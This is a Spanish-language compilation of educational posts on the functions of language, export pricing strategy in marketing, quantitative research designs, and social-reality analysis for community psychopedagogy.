Las funciones del lenguaje

Denotativa o referencial

Se produce cuando el emisor utiliza el lenguaje para transmitir una información al receptor.

Son las tres y media.

Emotiva o expresiva. Se da cuando expresamos sentimientos o deseos.

¡Qué pena, casi gana el Real Madrid!

Conativa o apelativa. El hablante quiere llamar la atención al oyente.

¡Oye, oye, espera un momento!

Fática o de contacto. Se utiliza para establecer contacto o cortar la comunicación.

Hola, ¿qué tal? ¡Adiós, hasta pronto!

Poética o estética Se utiliza cuando se busca la belleza y el mensaje oral o escrito se cuida especialmente.

Amar es cuando la proteges de la lluvia y el viento.

Amar es cuando la abrazas y te olvidas del tiempo.

Metalingüística. Cuando utilizas la lengua para hablar del propio lenguaje.

Pero, es una conjunción adversativa.

  

Investigar para analizar y discutir la próxima clase. 09/02/19

La Comunicación: Concepto de Comunicación; Reglas o Leyes y Axiomas de la Comunicación; Elementos Básicos de la Comunicación; Importancia de la Comunicación; Tipos de Comunicación; Barreras en la Comunicación.

*Medios de comunicación social: Tecnologías de la información y de la comunicación (TICs), Radio, Televisión, Telemática, entre otros.

MODULO III MARKETING. LA ADMON DE PROGRAMAS DE MARKETING.

Posted by HENRIQUEZ on Junio 28, 2018 under General

MODULO III ADMINISTRACIÓN.  MARKETING.

PROGRAMAS PARA FIJAR PRECIOS.

 

Introducción:

 

La fijación de un precio competitivo en los mercados internacionales puede constituir un reto: los precios que funcionan en un mercado pueden resultar plenamente contrarios a la competencia en otro.

No existe una única fórmula para determinar el precio de servicios y/o productos exportados. No obstante, pueden tenerse en cuenta varias consideraciones estratégicas y técnicas que permitirán elegir una estructura de precios apropiada para un mercado objetivo. (RIDDLE, 2001)

La fijación de precios externos debe concebirse como una decisión estratégica que cada empresa exportadora debe manejar eficazmente para incrementar su competitividad en el mercado internacional. Asimismo, constituye un elemento permanente en la gestión de negocio. (GONZALEZ, 2009)

El precio representa un factor fundamental en el marketing puesto que es el único que genera ingresos, los otros factores generan costos. La estimación correcta del mismo es un elemento trascendental, de cuyo nivel dependerá el posicionamiento, la imagen del producto y/o servicio y la importancia de los clientes potenciales.

En definitiva, el precio de venta representa, desde el punto de vista del comprador, la cantidad de recursos (expresada normalmente en dinero, aunque también podría consistir en productos y servicios) que es necesario sacrificar o entregar para adquirir la propiedad o el derecho de uso y disfrute de un producto y/o servicio, y desde el punto de vista de vendedor, la cantidad de recursos (dinero, productos y/o servicios) obtenidos por la venta de un producto y/o servicio. El precio posee una naturaleza fundamentalmente económica, y representa el sacrificio monetario que es preciso realizar para obtener un determinado producto. (DIEZ, 2008)

Materiales y métodos

Según criterios del Centro de Comercio Internacional (CCI), perteneciente a UNCTAD/OMC, “la fijación de precio es el proceso de determinar la cantidad de dinero por la cual se venderá el producto, basada en los costos de producción y comercialización de ese producto, equilibrándola con respecto a la que el mercado pueda aceptar”. (GONZALEZ, 2009)

A continuación se muestra un procedimiento para la fijación de los precios de los productos y/o servicios de exportación, los cuales tienes en cuenta las variables utilizadas por Albet en las definiciones de precios hechas hasta el momento en sus soluciones integrales comercializadas, el mismo está constituido por las siguientes etapas: (GONZALEZ, 2009), (KOTLER, 2000), (MUÑIZ, 2009)

  • Selección de los objetivos del precio.
  • Identificación del Mercado.
  • Determinación de la demanda.
  • Estimación y compresión de los Costos.
  • Análisis de los costos, precios y ofertas de los competidores.
  • Selección de un método para la fijación de precios.
  • Selección del precio definitivo.

Etapa 1: Selección de los objetivos del precio.

La compañía primero debe decidir qué quiere realizar con un producto en particular. Cuantos más claros son los objetivos de una empresa, más fácil es fijar el precio. Cada precio posible tendrá un efecto diferente en objetivos como beneficios, ganancias de las ventas y participación en el mercado. Una compañía puede procurar cualquiera de los seis objetivos fundamentales a través de la fijación de precios. (GONZALEZ, 2009), (KOTLER, 2000)

a. Supervivencia: Las compañías procuran la supervivencia como el principal objetivo si están saturadas por una capacidad excesiva, competencia intensa o por cambios en los requerimientos del cliente. Las compañías permanecen en el negocio en tanto los precios cubran los costos variables y algunos costos fijos. Sin embargo, la supervivencia sólo es un objetivo a corto plazo. A largo plazo, la empresa debe aprender cómo agregar valor o enfrentar la extinción. Esta puede ser una estrategia actual utilizada por la pequeña y mediana empresa para sobrevivir, sobre todo aquellas empresas de servicios.

b. Máxima utilidad actual: Muchas compañías tratan de fijar el precio para que aumenten al máximo sus utilidades actuales. Estiman la demanda y costos asociados con precios alternativos y seleccionan el precio que genera la máxima utilidad actual, flujo de efectivo o tasa de rentabilidad sobre la inversión. El aumento al máximo de la utilidad actual presenta problemas. Supone que la empresa conoce su demanda y funciones del costo; en realidad es difícil estimarlos. Asimismo, la compañía pone énfasis en el desempeño a largo plazo. Por último, la compañía ignora el efecto de otras variables de la combinación mercantil, las reacciones de los competidores y las restricciones legales sobre el precio. Maximización de las cuotas de mercado.

c. Para evitar una guerra de precios: La idea consiste en no utilizar el precio como una herramienta competitiva, que origine una guerra de precios con sus fatales consecuencias. En lugar de esto se piensa en fijar precios similares a la competencia y más bien utilizar la publicidad, el servicio a clientes o distribuidores, o mejoras en el producto como medio para competir e incrementar las ventas.

d. Máximo crecimiento de las ventas: Otras compañías quieren aumentar al máximo las ventas unitarias. Creen que un mayor volumen de ventas tendrá como resultado menores costos unitarios y mayor utilidad a largo plazo. Establecen el precio más bajo al suponer que el mercado es sensible al precio. Esto se denomina fijación de precios para la penetración de mercado.

e. Máximo descremado del mercado: Muchas compañías favorecen el establecimiento de precios altos para “descremar” el mercado. Con cada innovación estima el precio más alto que puede cargar dadas las utilidades comparativas de su producto nuevo contra los sustitutos disponibles. El Descremado del mercado tiene sentido en las siguientes condiciones: Un número suficiente de compradores tiene una alta demanda actual; los costos unitarios de producción de un volumen bajo no son tan altos que anulan la ventaja de cargar las implicaciones del tráfico; el precio inicial alto no atrae a más competidores; y el precio más alto comunica la imagen de un producto superior.

f. Liderazgo en la calidad del producto: Una compañía podría ser el líder de calidad del producto en el mercado. Esta es una estrategia que busca garantizar, a largo plazo, la supervivencia, el crecimiento y la rentabilidad de una organización optimizando su competitividad, mediante la satisfacción del cliente y la eliminación de todo tipo de desperdicios. Con independencia del objetivo que se escoja, las empresas que utilicen el precio como herramienta estratégica se beneficiarán más que aquellas que solo dejan que los costos o el mercado determinen sus precios. Para adoptar con éxito esta estrategia es necesario que la organización ponga en práctica un proceso de mejoramiento permanente. (GONZALEZ, 2009)

g. Precio de Penetración: es el caso en el que se quiera adentrar en un nuevo mercado, búsqueda de nuevos clientes.

Etapa 2: Identificación del Mercado (Resultado de la Investigación de Mercado).

Antes de fijar el precio de un producto y/o servicio se debe tener definido el target o mercado meta (grupo de consumidores potenciales al que se desea llegar). Así mismo, conocer su poder de compra, su grado de sensibilidad al precio, la importancia que estas personas le dan al producto en comparación con otros, la cantidad de dinero que están dispuestos a invertir en un producto con las características del que se comercializa la empresa, es decir detectar el valor que percibe el consumidor sobre el producto. Todo esto ayudará a establecer un precio más acorde con la realidad del mercado. La reacción a los precios será muy distinta en un grupo de consumidores orientados a preferir por encima de todo, alta calidad, esmerada atención y excelente presentación. (RIDDLE, 2001)

Algunas empresas para esta etapa realizan una investigación de mercado, pruebas de mercado, pruebas de producto a escala antes de comenzar a exportar. Es importante segmentar y definir claramente a quien se va a dirigir el producto pues es imposible apelar a todos los mercados.

La segmentación consiste en: La división de un grupo heterogéneo de consumidores en un subgrupo más pequeño homogéneo en las características principales de sus integrantes.

Existen diferentes técnicas para segmentar, sin embargo, las variables más aplicadas según el experto Kotler (1996), son Demográficas (según la edad, sexo, etc.), Geográficas (según donde vive), Psicográficas (según sus costumbres, cultura, etc.) y según sus hábitos de compra o consumo. Además de esta podemos agregar que el mercado pudiese ser segmentado en función del capital financiero e importancia que tiene el cliente. (KOTLER, 2001)

La segmentación tiene por objetivo canalizar los esfuerzos y recursos hacia las áreas con mayores y mejores posibilidades, a fin de cómo se ha dicho, hacer más efectivos los esfuerzos y por ende los ingresos.

Etapa 3: Estimación de la demanda (Resultado de la Investigación de Mercado).

La empresa debe estudiar con profundidad la demanda para el tipo de producto en cuestión y establecer las relaciones entre el precio y el tipo de demanda correspondiente. Debe reparar que la demanda constituye el límite máximo de los precios que la empresa puede fijar para su producto. (GONZALEZ, 2009)

Cada precio que la compañía pueda cargar llevará a un nivel diferente de demanda y, como consecuencia, tendrá un efecto distinto sobre sus objetivos de mercadotecnia. La relación entre el precio actual que se carga y la demanda actual resultante se captura en el programa de demanda común.

Hay dos maneras de estimar la demanda, una es suponer que los precios de los competidores permanecen constantes sin que tenga importancia el precio que la compañía estipule. Y la otra, es suponer que los competidores colocarán un precio diferente por cada precio que la compañía podría establecer. (DIEZ, 2008)

Para medir un programa de demanda se requiere variar el precio. Se puede efectuar un estudio en un entorno de laboratorio pidiendo a sujetos que señalen cuantas unidades comprarían a distintos precios posibles. Al medir la relación precio/demanda se puede controlar o tolerar otros factores que podrían afectar la demanda. (DIEZ, 2008)

Etapa 4: Estimación y compresión de los Costos.

La Demanda representa en gran medida un tope máximo para el precio que la compañía puede cargar por su producto y los costos de la compañía representan el tope mínimo. Los costos de una compañía se presentan en dos formas fijos y variables. Los costos fijos no varían con la producción o las ganancias de las ventas. Así una compañía debe pagar cuentas cada mes por renta, calefacción, intereses, salarios de los ejecutivos y demás, cualquiera que sea la producción de la compañía. Los costos fijos prevalecen sin que tenga importancia el nivel de producción. (MUÑIZ, 2009)

Los costos totales consisten en la suma de los costos fijos y variables para cualquier nivel de producción. La gerencia quiere cargar un precio que cubra por lo menos los costos de producción total en un nivel de producción determinado.

De la compresión de costos se desprenden dos ideas fundamentales: (MUÑIZ, 2009)

  1. El fabricante o comerciante que desee permanecer en su negocio, debe fijar un precio tal a sus productos y/o servicio que por lo menos cubra los costos totales incurridos en atender la demanda.
  2. Para que se genere utilidad en un negocio, es necesario que los ingresos totales logrados en un periodo fiscal, sobrepasen los costos totales incurridos en generar esos ingresos. En otras palabras, que se llegue más allá del punto equilibrio.

La estimación de los costos no es más que la ficha de costo elaborada por la unidad productora que debe enfocar sus datos en las siguientes aristas:

I. Mano de obra directa – Recursos Humanos (RRHH): me brinda el esfuerzo de horas hombres de cada uno de los recursos humanos implicados desglosado por roles (ver Anexo 1)

II. Materias primas y materiales, no son más que todos los gastos implicados en elementos como:

  • Materias primas.
  • Materiales auxiliares.
  • Partes y Piezas de Repuesto.
  • Útiles y Herramientas.
  • Materiales de Oficina.
  • Equipamiento.
  • Insumos Informáticos.
  • Licencia de uso de software.
  • Otros.

III. Depreciación y Amortización de los equipos, no son más los gastos implicados en los siguientes elementos:

  • Depreciación de Equipos de Informática (25 % anual).
  • Depreciación de Muebles, Enseres y Similares.
  • Depreciación de Equipos Técnicos.
  • IV. Otros, no son más que los gastos implicados en los siguientes elementos:
  • Consumo eléctrico en Cuba.
  • Comunicaciones en Cuba.
  • Transporte en Cuba.

El valor que arroje la ficha de costo será la cuota mínima establecida para el precio del producto. La elaboración de la ficha de costo es responsabilidad del equipo ejecutor, y tiene que ser revisada y aprobada por ALBET.

Etapa 5: Análisis de los costos, precios y ofertas de los competidores (Resultado de la Investigación de Mercado).

En este sentido la empresa debe examinar la relación que puede producirse entre su oferta y la de sus competidores, siendo el nivel de precio establecido por la competencia el referente intermedio para la fijación de precios de la entidad. (GONZALEZ, 2009)

El número de competidores en el área del mercado donde se piense establecer, en relación con el mercado potencial, le dará un indicador de la necesidad de una empresa. Por supuesto que, si las empresas existentes no están proporcionando servicios o productos adecuados, un nuevo competidor habrá de captar una parte sustancial del mercado. (DIEZ, 2008)

Al identificar a los competidores, es importante saber que éstos pueden ser directos o indirectos. Es fácil saber quiénes son sus competidores directos, dado que venden el mismo producto o servicio que usted. Por otro lado, los competidores indirectos son los que venden productos o servicios a su mercado aunque no exactamente lo mismo. Es decir, ellos compiten por el dinero del mercado. (DIEZ, 2008)

FACTORES QUE INFLUYEN EN LA DETERMINACIÓN DEL PRECIO.

Existen diversos factores que influyen grandemente en la asignación del precio. Uno de ellos es la asignación de un precio base. El precio base o precio lista, es el precio de una unidad de producto en su punto de producción o reventa. Este precio no refleja descuentos, cargos de fletes o cualquier otro tipo de modificación. La asignación de un precio base se hace tanto para los productos nuevos como para los ya establecidos, aunque es mucho más fácil asignarlo a un producto establecido que a uno nuevo, aunque el precio exacto o una angosta escala de precios pueden ser dictados por el mercado.

La competencia influye mucho en el precio base, y un nuevo producto sólo es distintivo hasta que llega a la competencia. La competencia puede provenir de distintas fuentes:

· productos directamente similares, por ejemplo una Coca Cola o una Pepsi.

· Sustitutos disponibles, por ejemplo enviar una carta o un correo electrónico.

Productos no afines que persiguen el mismo dinero del consumidor, por ejemplo un viaje, unas vacaciones en la playa, etc.

No obstante existen otros factores que están interrelacionados con la asignación de precios y el dejarlos de lado puede ser un error para la empresa. Dentro de estos factores externos, podemos destacar la:

La demanda estimada

Es la demanda total del producto que se espera obtener. Para esto hay que determinar si hay un precio que el mercado espera y estimar cuál podría ser el volumen de ventas a diferentes precios.

Este tipo de precios se conoce como el precio esperado.

El precio esperado de un producto es el que los clientes usan conscientes o inconscientemente para evaluarlo, es decir, lo que piensan que vale el producto. Este precio suele expresarse por intervalos de precios más que como una cantidad específica. Por ejemplo, esperamos que el precio de un celular de ultimo modelo este entre 250 y 300 dólares. El productor tiene que tomar en cuenta la reacción del intermediario ya que si este aprueba el precio del producto es más fácil que lo promueva y lo venda.

Hay que tener cuidado son la estimación del precio, ya que si este es más bajo que lo que el mercado esperaba se pueden peder ventas. O cuando se sube el precio se ve un aumento de las ventas, ya que los consumidores deducen una mejor calidad en los precios más altos. Esta situación es conocida como demanda inversa.

Cuanto más alto el precio, más considerables son las ventas unitarias. Pero esta demanda inversa solo puede darse en una escala determinada de precios y solamente a niveles bajos de precios.

Es útil de igual manera estimar el volumen de ventas del producto a diversos precios. Al hacer esto se está determinando la curva de demanda del producto y más específicamente la elasticidad de demanda del precio, esto se refiere a como reacciona la cantidad demandada del producto cuando hay una variación del nivel de precios. Para realizar esta estimación se pueden utilizar diferentes métodos de análisis como el marketing de prueba, el estimado compuesto de la fuerza de ventas, entre otros.

Etapa 6: Selección de un método para la fijación de precios.

Una vez determinada las funciones de demanda de los cliente, los costos y de precios de los competidores, la empresa está lista para fijar un precio.

El precio de exportación debe cubrir los costos de producción y comercialización. Los costos no deben ser superiores a los precios que predominan en el mercado mundial para productos de calidad similares. De ahí que, en el límite inferior se encuentran los costos y en el límite superior los precios del mercado para productos análogos. (GONZALEZ, 2009)

El precio de exportación debe plantearse o calcularse en función de criterios y circunstancias particulares de los mercados a los que se vaya a dirigir y no necesariamente partiendo del precio en el mercado nacional, si existe algún referente.

Según estudios cuando el producto se pretende colocar en el mercado internacional, existe una serie de variables que intervienen en la fijación de precios de exportación: Costos de fabricación, totales o unitarios; Contribución a los gastos generales; Recuperación de la inversión en I + D; Costos de expedición y distribución física; Seguros de transporte, de riesgos comerciales y políticos; Derechos aduaneros e impuestos locales; Costos de investigación de mercado y marketing; Costo de organización del marketing de exportación y el Costo de los créditos. (GONZALEZ, 2009)

Son diversos los planteamientos acerca del proceso que deben seguir la empresas para establecer el precio de venta de sus productos. La característica común que presentan la mayoría de ellos es que incluyen tres elementos fundamentales: la demanda, los costes y la competencia. (DIEZ, 2008)

Básicamente en este apartado se hará alusión a algunos de los métodos que existen para la estimación de precios, manejando las variables anteriores, los cuales son:

A. Métodos basados en la demanda.

Los métodos de fijación de precios basados en la demanda, parten habitualmente del intento de comprensión del comportamiento del mercado (principalmente desde el punto de vista de los consumidores), para a continuación, establecer un sistema de fijación de precios. (MUÑIZ, 2009)

Se debe tener en cuenta, que este conjunto de métodos, se fundamenta en la forma en que los consumidores valoran los productos, en cómo desarrollan sus funciones de utilidad, y en su transformación posterior en funciones de demanda.

Los métodos basados en la Demanda o en el Mercado, son aquellos que tienen en cuenta la interacción entre el precio y la demanda, también observan las reacciones del consumidor para incorporarlas al proceso de fijación de precio. En esta categoría de métodos podemos encuadrar, el Análisis Marginalista (o método de la Elasticidad Demanda – Precio), el Valor Percibido, el método del Valor de Uso, entre otros. Este tipo de métodos son más fieles al comportamiento real del mercado y de los consumidores, pero adolecen del problema, ya comentado, de la dificultad para la obtención de la información necesaria para ponerlos en práctica. (GONZALEZ, 2009)

B. Métodos basados en los costes.

Los métodos de fijación de precios a partir de los costes, son considerados como los más justos y objetivos, puesto que un productor fijará los precios en función de los costes en los que incurra, pudiendo ofertar los productos a menor precio (bajo las mismas condiciones de margen) solamente aquellos productores o agentes que sean más eficientes en las tareas que realizan. (DIEZ, 2008)

Todas las formas de fijar el precio de venta de un producto basándose en el coste parten de la siguiente formulación: (DIEZ, 2008)

PRECIO DE VENTA = PRECIO DE COSTE + MARGEN

Lo que distingue una técnica de otra en la forma de determinación del precio de coste del producto que, en definitiva, es un conjunto de costes.

Las formas generales para obtener el precio de coste de un producto son: (DIEZ, 2008)

Coste completo (Full cost): se aplica cuando, para él cálculo del coste del producto o servicio, están imputadas y repartidas todas las cargas.

Coste parcial: el coste es parcial cuando no se imputan todas las cargas.

C. Métodos basados en la competencia.

Los métodos de fijación de precios basados en la competencia, son los que reflejan de mejor manera el entorno competitivo en el que se desarrolla la fijación de los precios.

La fijación de precios basada en la competencia admite las tres alternativas siguientes: (DIEZ, 2008)

Precios por encima de la competencia: su finalidad es atraer cierto tipo de clientela considerada como elitista o de alto poder adquisitivo. Este tipo de precios debe fijarse cuando el producto está claramente diferenciado y ofrece una imagen de calidad, prestigio o superioridad frente a otras alternativas.

Precios a nivel de la competencia: esta situación se corresponde con los conceptos de precios de mercado o de precio de referencia. Los precios situados a nivel de la competencia marcan un nivel cuya superación entraña serias dificultades para vender los productos en el mercado.

Precios por debajo de la competencia: esta es la forma más clara de utilizar precios con fines competitivos. Generalmente, las organizaciones -salvo en algunos sectores- evitan la competencia basada en el precio.

Etapa 7: Selección del precio definitivo.

En este último paso la empresa debe seleccionar el precio final teniendo en cuenta factores adicionales tales como: el precio psicológico, la influencia de otros elementos del marketing sobre el precio, políticas de precios de la organización y el impacto del precio en terceras partes. (GONZALEZ, 2009)

Según estudios realizados los factores generales que determinan las decisiones de precios y no deben ser omitidos para la decisión final de precio para un producto y/o servicio son: (DIEZ, 2008)

  • Costes.
  • Mercado (competencia, demanda y mercado/industria).
  • Características de la oferta que realiza la empresa (producto, precios, distribución y resto de variables de marketing).
  • Circunstancias particulares de la empresa.
  • Tecnología.
  • Entorno.
  • Información.

Además, para la formación definitiva del precio, el Centro Comercial Internacional (CCI) y el Centro para la Promoción del Comercio Exterior de Cuba (CEPEC), coinciden en que la entidad debe tener en cuéntalos factores controlables y no controlables del precio -los cuales solapan o no a los factores anteriores- es decir, aquellos que pueden ser sujetos a modificaciones por el productor o exportador y aquellos que son susceptibles a su intervención. (GONZALEZ, 2009)

Es importante destacar que ambos factores nos son estáticos, sino que cambian constantemente, por lo que las decisiones sobre precios son transitorias y requieren de una constante revisión y control. (GONZALEZ, 2009)

Factores del precio
Factores controlables del precio Factores no controlables del precio
Costo del producto Nivel prevaleciente del precio en el mercado de destino
Costo de venta y distribución Abastecimiento del mercado y la demanda
Costo de apoyo al marketing Grado de competencia
Calidad e imagen del producto
Costo de comunicación del producto

Paradigmas de Investigación

Si bien el concepto de paradigmas (Kuhn, 1971) admite pluralidad de significados y diferentes usos, aquí nos referiremos a un conjunto de creencias y actitudes, como una visión del mundo “compartida” por un grupo de científicos que implica una metodología determinada (Alvira, 1982). El paradigma es un esquema teórico, o una vía de percepción y comprensión del mundo, que un grupo de científicos ha adoptado

 

Investigación Cuantitativa

La investigación cuantitativa se dedica a recoger, procesar y analizar datos cuantitativos o numéricos sobre variables previamente determinadas. Esto ya hace darle una connotación que va más allá de un mero listado de datos organizados como resultado; pues estos datos que se muestran en el informefinal, están en total consonancia con las variables que se declararon desde el principio y los resultados obtenidos van a brindar una realidad específica a la que estos están sujetos.

 

El producto de una investigación de corte cuantitativo será un informe en el que se muestre una serie de datos clasificados, sin ningún tipo de información adicional que le de una explicación, más allá de la que en si mismos conllevan. Viéndolo desde este punto de vista, se podría pensar que los estudios cuantitativos son arbitrarios y que no ayudan al análisis de los resultados más que lo que han mostrado por si solos.

 

Este tipo de investigación trata de determinar la fuerza de asociación o relación entre variables, así como la generalización y objetivación de los resultados a través de una muestra. De aquí se puede hacer inferencia a una población de la cual esa muestra procede. Más allá del estudio de la asociación o la relación pretende, también, hacer inferencia que explique por qué las cosas suceden o no de una forma determinada.

 

Por métodos cuantitativos de investigación se entienden los diseños experimentales y cuasi experimentales, la investigación por encuesta, los cuestionarios estandarizados, los registros estructurados de observación, las técnicas estadísticas de análisis de datos, entre otros.

 

Características:

* Pasos investigación:

Plantea un problema de estudio delimitado y concreto.

Se construye un marco teórico y al final se genera una hipótesis, posteriormente se somete a prueba las hipótesis mediante el empleo de los diseños de investigación apropiados.

Si los resultados corroboran las hipótesis o son congruentes con estas, se aporta evidencia en su favor.

Para obtener tales resultados el investigador recolecta datos numéricos de los objetos fenómenos o participantes, que estudia y analiza mediante procedimientos estadísticos.

 

* Las hipótesis se generan antes de recolectar y analizar los datos.

Por esto se explica que las hipótesis se establecen previamente.

 

* La recolección de los datos se fundamentan en la medición (se miden variables o conceptos contenidos en las hipótesis).

 

* Se analizan los datos a través de métodos estadísticos.

 

* En el proceso se busca el máximo control para logara que otras explicaciones posibles distintas a la propuesta del estudio (hipótesis) sean desechadas y se excluya la incertidumbre y minimice el error.

 

* Los análisis cuantitativos se interpretan a la luz de las prodiciones iníciales (hipótesis) y de estudios previos (teoría).

 

* La investigación cuantitativa debe ser lo más objetiva posibles.

 

* Los estudios cuantitativos siguen un patrón predecible y estructurando (el proceso) y se debe tener en cuenta que las decisiones críticas son efectuadas antes de recolectar los datos.

 

* En una investigación cuantitativa se pretende explicar y predecir los fenómenos investigados, buscando regularidades y relaciones causales entre elementos.

 

* Los datos generados poseen los estándares de validez y confiabilidad, las conclusiones derivadas contribuirán a la generación de conocimiento.

 

* Este enfoque utiliza la lógica o razonamiento deductivo, que comienza con la teoría y de esta se deriva expresiones lógicas denominadas hipótesis que el investigador busca someter a prueba.

 

 

Diseños de investigación cuantitativa

Diseños no Experimentales

La intención de los estudios exploratorios no buscan establecer, ni probar relaciones de causa-efecto entre las variables, por lo tanto, se utilizan los diseños no experimentales (aleatorios o no) para el acopio de datos y alcanzar los objetivos de investigación.

 

Los diseños no experimentales se realizan sin modificar variables, es decir, no hay variación intencional de alguna variable para medir su efecto sobre otra, sino que se observan los fenómenos tal como se presentan en su contexto natural. En este tipo de estudios, las variables independientes ocurren y no se pueden manipular, al igual que los efectos que ellas tienen.

 

Hernández, Fernández y Baptista (2010) indican que la “la investigación no experimental es sistemática y empírica en la que las variables independientes no se manipulan porque ya han sucedido. Las inferencias sobre las relaciones entre las variables se realizan sin intervención o influencia directa

 

Los diseños no experimentales pueden ser:

Desde la perspectiva temporal de la medición

  • Longitudinales: se utilizan cuando se tiene la intención de describir los cambios del fenómeno a través del tiempo, es decir, se realiza varias mediciones a las unidades de análisis en momentos distintos. Entre las ventajas de este diseño tenemos que dado que las mismas personas se estudian en más de un momento de tiempo, ellas se convierten en su mismo control, son diseños de alta potencia porque las diferencias intraindividual se minimiza. Pero tiene otras desventajas, son muy costosos, se ven amenazados por la mortalidad, abandono de la experiencia, los cambios propios de la edad, entre otros.

 

  • Transeccionales o transversales: en estos diseños se recolectan los datos en un solo momento. Su intención es describir o caracterizar el fenómeno, a través de las variables, en un momento dado. Este método es mucho más económico que el longitudinal, no se ve afectado por el abandono de los sujetos o la mortalidad,

tampoco se afectan los resultados por la maduración o cambios en función de la edad.

 

  • Estudios por cohortes: combinan algunas características de los diseños

transversales y longitudinales, en estos diseños el investigador está interesado en conocer las características de varios grupos de sujetos a lo largo del tiempo (Latorre, Del Rincón y Arnal, 1997).

  • Estudios de encuestas: algunos autores hacen referencia a estos estudios como un tipo de diseños (Latorre, Del Rincón y Arnal, 1997), otros lo asocian con la técnica de recolección de datos. Consiste en formular preguntas directamente a los sujetos objeto de estudio.

 

Desde la perspectiva de las unidades de análisis:

  • Estudio de casos: es un método empleado para estudiar y describir los

componentes de un fenómeno en un solo individuo, organización o situación en un contexto, de manera profunda y detallada, por lo general llevan mucho tiempo, pero pueden producir gran cantidad de detalles.

  • Estudios poblacionales: en estas investigaciones se busca describir las variables asociadas al fenómeno en la población, es decir, no limita el acopio de datos a un solo sujeto, sino a toda la población. Para ello podría utilizar técnicas estadísticas para la selección de una muestra sobre la cual se realizaran las mediciones.

 

Desde la perspectiva de las fuentes de información

  • De campo: los datos se toman directamente de las unidades de análisis, para lo cual requiere de la construcción y validación de instrumentos de medición.
  • Documental: las fuentes de datos son, estudios previos, documentos estadísticos, censos, entre otros.

 

Técnicas de Recolección de Información en Investigaciones Cualitativas

 

 

 ANÁLISIS E Interpretación DE DATOS
Los datos se transforman en unidades numéricas que permiten
a su vez un análisis e interpretación más exacta. Se aplican fundamentalmente análisis estadísticos que argumentan matemática y objetivamente los resultados. El análisis y tratamiento de datos ocurre después de la recogida de su recogida, teniendo un carácter estática y deductivo. Los resultados obtenidos se interpretarán en función de la hipótesis de partida
El análisis e interpretación de datos ocupa una posición intermedia en el proceso de investigación. Con él se pretende delimitar el problema, avanzar hipótesis, etc. Adopta un proceso cíclica interactivo que se convierte en el elemento clave para la generación del diseño de investigación.

El análisis de interpretación de datos posee algunas peculiaridades:
· Participación del grupo de investigación en el análisis e interpretación de datos que se realiza mediante la discusión e indagación

  • Alto nivel de abstracción.
  • En la interpretación de datos se interrelacionan factores personales, sociales históricos y políticos.

ÁMBITOS DEL ANÁLISIS DE LA REALIDAD


El análisis de la realidad es el conocimiento de la realidad para superarla o transformarla, Es decir, saber dónde se está, para saber a dónde ir y cómo hacerlo; se trata en definitiva, de conocer la realidad donde se actúa para saber en qué cambiarla y cómo hacerlo.
Ejemplos:
* Infraestructura elementos económicos, ecológicos y demográficos

* estructura organizaciones políticas, económicas y culturales.

* supra estructura.- sistema cultural, ideologías y creencias.

Ejemplos:
La Familia
La escuela
La Colonia

 

Análisis de la realidad

Conocer para transformar

Puede parecer paradójico pero en muchas ocasiones no prestamos la suficiente atención a nuestro entorno, a la realidad social que nos rodea y que, en última instancia, es la que tiene que condicionar e incluso determinar nuestras propuestas y nuestro modo de trabajar.

 

Por ello, antes incluso que el estudio de viabilidad tenemos que hacer un análisis de la realidad. Su objetivo no es otro que determinar si nuestro proyecto es oportuno, es decir, si da respuesta a necesidades reales y si con él estamos enfocando bien los objetivos marcados.

 

Conocer el entorno en el que trabajamos es imprescindible para el buen desarrollo de nuestro trabajo y para su eficacia. No es lo mismo actuar sobre un barrio marginal que sobre el conjunto de barrios de una ciudad, ni trabajar con el colectivo de personas mayores o con estudiantes de la universidad; pero es que el propio colectivo de personas mayores puede ser tan diverso y heterogéneo que no atinar bien con sus características o trabajar bajo tópicos o ideas preconcebidas puede dar al traste con el que creíamos era el mejor de los proyectos.

 

Antes de dar el primer paso, es conveniente conocer los elementos que conforman nuestro entorno. Hemos de liberarnos de prejuicios, no confundir lo que sentimos y pensamos con lo que siente y piensa la gente que nos rodea y que forma el conjunto social; y sobre todo, debemos esforzarnos en distinguir la realidad objetiva -lo que es y ocurre-, de la realidad subjetiva, es decir, la percepción individual y personal sobre lo que acontece. Sólo con una idea clara y lo más certera posible de la realidad podremos actuar sobre ella para transformarla.

 

Pautas para analizar la realidad

Para analizar la realidad hay que dedicar tiempo y hacerlo ordenadamente, con metodologías y técnicas adecuadas. Si tenemos recursos suficientes se puede contar con la intervención de profesionales que nos hagan un estudio sociológico. Si los recursos son escasos, podemos recurrir a una serie de técnicas de análisis sencillas y manejables que, aplicadas con rigor, nos pueden dar una idea bastante cabal de lo que buscamos. En el siguiente enlace podéis encontrar las principales técnicas de análisis.

 

Veamos a continuación los pasos necesarios para hacer un análisis de la realidad.

 

  • 1. Descripción del entorno
  • Descripción exhaustiva de todo lo que hay. Si analizamos por ejemplo un barrio, tendremos que ver su población y sus características, los recursos que existen (instituciones, asociaciones, infraestructuras, comunicaciones…), su historia y su evolución, los programas o acciones que se están desarrollando, sus carencias, etc.
  • 2. Percepción social existente 
  • Conocer la opinión de la gente y cuáles son sus valores, especialmente las personas destinatarias de nuestra acción y sobre aquello que queremos poner en marcha.
  • 3. Análisis de la información 
  • La información recogida ha de ser analizada de manera que nos de a conocer cómo son las cosas, con una explicación coherente e identificando los elementos y las causas que provocan el que sea de esa manera y no de otra, gracias a la información obtenida.
  • 4. Alternativas 
    Elaboradas las conclusiones del análisis, el siguiente paso es identificar los aspectos sobre los que queremos intervenir para que una determinada situación cambie. Aunque en un primer momento es interesante expresar todo tipo de propuestas, después es necesario desechar las inviables y organizar el resto por prioridades. De esta fase surgirán las ideas para nuestros proyectos.
  • 5. Acciones a desarrollar
  • Una vez hemos seleccionado las ideas y las propuestas que queremos poner en marcha, estudiaremos con qué recursos contamos para llevarlas a cabo, esto es, ajustar lo que queremos con lo que podemos. Una vez decidido lo que podemos se trata de ver cómo lo vamos a hacer.

Qué es el ámbito social comunitario

Es aquel que agrupa a todas las instituciones que tienen por finalidad el desarrollo y la facilitación de habilidades sociales, académicas y personales, con el objetivo de mejorar la calidad de vida.

 

Acción psicopedagógica de diagnóstico

El psicopedagogo/a participa apoyando a personas de todas las edades, en grupos psicosociales o psicoeducativos, promoviendo acciones de refuerzo y prevención psicoeducativa.

 

Niños en riesgo social.
Personas en alguna rehabilitación.
Personas cumpliendo cadenas carcelarias.
Alfabetización de niños y adultos.
Nivelación de estudios.
Trabajo en organización social.
Inserción laboral de adultos.
Orientación vocacional.

 

Ámbito psicosocial: organizaciones y grupos.

